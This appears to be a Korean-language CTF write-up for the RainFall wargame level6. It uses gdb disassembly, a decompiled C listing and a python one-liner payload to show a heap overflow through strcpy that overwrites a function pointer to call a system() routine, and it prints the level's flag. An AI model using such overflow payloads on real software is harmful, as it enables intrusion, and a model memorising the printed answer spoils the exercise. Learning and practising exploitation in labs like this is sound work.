level6

태그	Assembly BufferOverflow Ret2Libc Shell
상태	완료

풀이과정

겪었던 어려움

풀이과정

일단 gdb로 확인했을 때 main, n, m함수들의 존재 및 assembly를 확인할 수 있었다.

```
(gdb) info functions
All defined functions:

Non-debugging symbols:
0x080482f4  _init
0x08048340  strcpy
0x08048340  strcpy@plt
0x08048350  malloc
0x08048350  malloc@plt
0x08048360  puts
0x08048360  puts@plt
0x08048370  system
0x08048370  system@plt
0x08048380  __gmon_start__
0x08048380  __gmon_start__@plt
0x08048390  __libc_start_main
0x08048390  __libc_start_main@plt
0x080483a0  _start
0x080483d0  __do_global_dtors_aux
0x08048430  frame_dummy
0x08048454  n
```

```
0x08048468  m
0x0804847c  main
0x080484e0  __libc_csu_init
0x08048550  __libc_csu_fini
---Type <return> to continue, or q <return> to quit---
0x08048552  __i686.get_pc_thunk.bx
0x08048560  __do_global_ctors_aux
0x0804858c  _fini
```

```
(gdb) disas n
Dump of assembler code for function n:
   0x08048454 <+0>: push   %ebp
   0x08048455 <+1>: mov    %esp,%ebp
   0x08048457 <+3>: sub    $0x18,%esp
   0x0804845a <+6>: movl   $0x80485b0,(%esp)
   0x08048461 <+13>:    call   0x8048370 <system@plt>
   0x08048466 <+18>:    leave
   0x08048467 <+19>:    ret
End of assembler dump.

(gdb) disas m
Dump of assembler code for function m:
   0x08048468 <+0>: push   %ebp
   0x08048469 <+1>: mov    %esp,%ebp
   0x0804846b <+3>: sub    $0x18,%esp
   0x0804846e <+6>: movl   $0x80485d1,(%esp)
   0x08048475 <+13>:    call   0x8048360 <puts@plt>
   0x0804847a <+18>:    leave
   0x0804847b <+19>:    ret
End of assembler dump.

(gdb) disas main
Dump of assembler code for function main:
   0x0804847c <+0>: push   %ebp
   0x0804847d <+1>: mov    %esp,%ebp
   0x0804847f <+3>: and    $0xfffffff0,%esp
   0x08048482 <+6>: sub    $0x20,%esp
   0x08048485 <+9>: movl   $0x40,(%esp)
   0x0804848c <+16>:    call   0x8048350 <malloc@plt>
   0x08048491 <+21>:    mov    %eax,0x1c(%esp)
...skipping...
   0x08048495 <+25>:    movl   $0x4,(%esp)
   0x0804849c <+32>:    call   0x8048350 <malloc@plt>
   0x080484a1 <+37>:    mov    %eax,0x18(%esp)
   0x080484a5 <+41>:    mov    $0x8048468,%edx
```

```
   0x080484aa <+46>:    mov    0x18(%esp),%eax
   0x080484ae <+50>:    mov    %edx,(%eax)
   0x080484b0 <+52>:    mov    0xc(%ebp),%eax
   0x080484b3 <+55>:    add    $0x4,%eax
   0x080484b6 <+58>:    mov    (%eax),%eax
   0x080484b8 <+60>:    mov    %eax,%edx
   0x080484ba <+62>:    mov    0x1c(%esp),%eax
   0x080484be <+66>:    mov    %edx,0x4(%esp)
   0x080484c2 <+70>:    mov    %eax,(%esp)
   0x080484c5 <+73>:    call   0x8048340 <strcpy@plt>
   0x080484ca <+78>:    mov    0x18(%esp),%eax
   0x080484ce <+82>:    mov    (%eax),%eax
---Type <return> to continue, or q <return> to quit---
   0x080484d0 <+84>:    call   *%eax
   0x080484d2 <+86>:    leave
   0x080484d3 <+87>:    ret
End of assembler dump.
```

이것을 C로 디컴파일하면 아래와 같다.

```c
void n() {
    system("cat /home/user/secret");
    // 추후에 정확히 무슨 행동을 하는지 기재함
}

void m() {
    puts("Nope, this isn't it.");
}

int main(int argc, char *argv[]) {
    char *buffer1 = malloc(0x40); //0x40 == 64
    char *buffer2 = malloc(4);

    strcpy(buffer1, argv[1]);
    ((void (*)(void))buffer2[0])();

    return 0;
}
```

main내부에서 인자로 받은 값을 그대로 strcpy를 통해서 사용한다는 것을 알 수 있다.

strcpy

strcpy에는 BufferOverflow를 일으킬 수 있는 보안적 문제가 존재한다.

`This may be unnecessary if you can show that overflow is impossible, but be careful: programs can get changed over time, in ways that may make the impossible possible.`

disas main 부분을 자세히 보면 esp 레지스터가 0x40 + 0x4 즉, 64 + 4만큼 움직여져 있다는 것을 확인할 수 있다. 따라서 68 + 기존 Return 주소를 덮을 4바이트 총, 72바이트가 필요하다.

이후 system함수를 호출하는 n함수의 시작 주소값을 더해주는 다음과 같은 커맨드를 입력하면 정답을 구할 수 있을 거라고 생각했는데 Segmentation fault가 발생했다..!

```
level6@RainFall:~$
python -c 'print "A" * 72 + "\x54\x84\x04\x08"' > /tmp/level6
level6@RainFall:~$ cat /tmp/level6 - | ./level6
dasd
dasd
asdasd
as
d
asd
as
das
d
Segmentation fault (core dumped)
```

그래서 내장된 ltrace를 이용해서 인자값을 넣어서 인자로 커맨드를 넣어줘서 권한을 탈취해야한다는 것을 알게 되었다...

```
level6@RainFall:~$ ltrace ./level6 test
__libc_start_main(0x804847c, 2, 0xbffff7c4, 0x80484e0, 0x8048550 <unfinis
malloc(64)
malloc(4)
strcpy(0x0804a008, "test")
puts("Nope"Nope
)                                                                 = 5
+++ exited (status 5) +++

level6@RainFall:~$
ltrace ./level6 python -c 'print "A"*72 + "\x54\x84\x04\x08"'
__libc_start_main(0x804847c, 4, 0xbffff784, 0x80484e0, 0x8048550 <unfinis
malloc(64)
malloc(4)
strcpy(0x0804a008, "python")
puts("Nope"Nope
)                                                                 = 5
+++ exited (status 5) +++

level6@RainFall:~$ ltrace ./level6
`python -c 'print "A"*72 + "\x54\x84\x04\x08"'`
__libc_start_main(0x804847c, 2, 0xbffff774, 0x80484e0, 0x8048550 <unfinis
malloc(64)
```

```
malloc(4)
strcpy(0x0804a008, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)
system("/bin/cat /home/user/level7/.pass"/bin/cat: /home/user/level7/.pas
 <unfinished ...>
--- SIGCHLD (Child exited) ---
<... system resumed> )
+++ exited (status 0) +++

level6@RainFall:~$ ltrace ./level6
`python -c 'print "A"*72 + "\x54\x84\x04\x08"'`
__libc_start_main(0x804847c, 2, 0xbffff774, 0x80484e0, 0x8048550 <unfinis
malloc(64)
malloc(4)
strcpy(0x0804a008, "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"...)
system("/bin/cat /home/user/level7/.pass"/bin/cat: /home/user/level7/.pas
 <unfinished ...>
```

```
./level6 `python -c 'print "A"*72 + "\x54\x84\x04\x08"'`
```

풀이과정(2)

```
gdb ./level6 실행후
break *0x08048491 //첫 번째 malloc 실행 직후 지점
break *0x080484a1 //두 번째 malloc 실행 직후 지점
run
info registers
->eax            0x804a008 // 첫 malloc직후 eax주소가 buf1의 주소

..
->eax            0x804a050 //같은 방식으로 buf2 주소를 알아냄
x/100wx 0x804a008 //buf1 주소부터 100개 찍어보기
0x804a008:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a018:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a028:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a038:  0x00000000  0x00000000  0x00000000  0x00000000
0x804a048:  0x00000000  0x00000011  0x00000000  0x00000000
0x804a058:  0x00000000  0x00020fa9  0x00000000  0x00000000

buf2(0x804a050)의 주소가 buf1(0x804a008)기준 18*4 이후에 위치함

dummy 72바이트 + n함수 주소값을 입력하면됨
```

정답

`f73dcb7a06f60e3ccc608990b0a046359d42a1a0489ffeefd0d9cb2d7c9cb82d`

출처

strcpy(3): copy string - Linux man page

The strcpy() function copies the string pointed to by src, including the terminating null byte ('\0'), to the buffer pointed to by dest.

https://linux.die.net/man/3/strcpy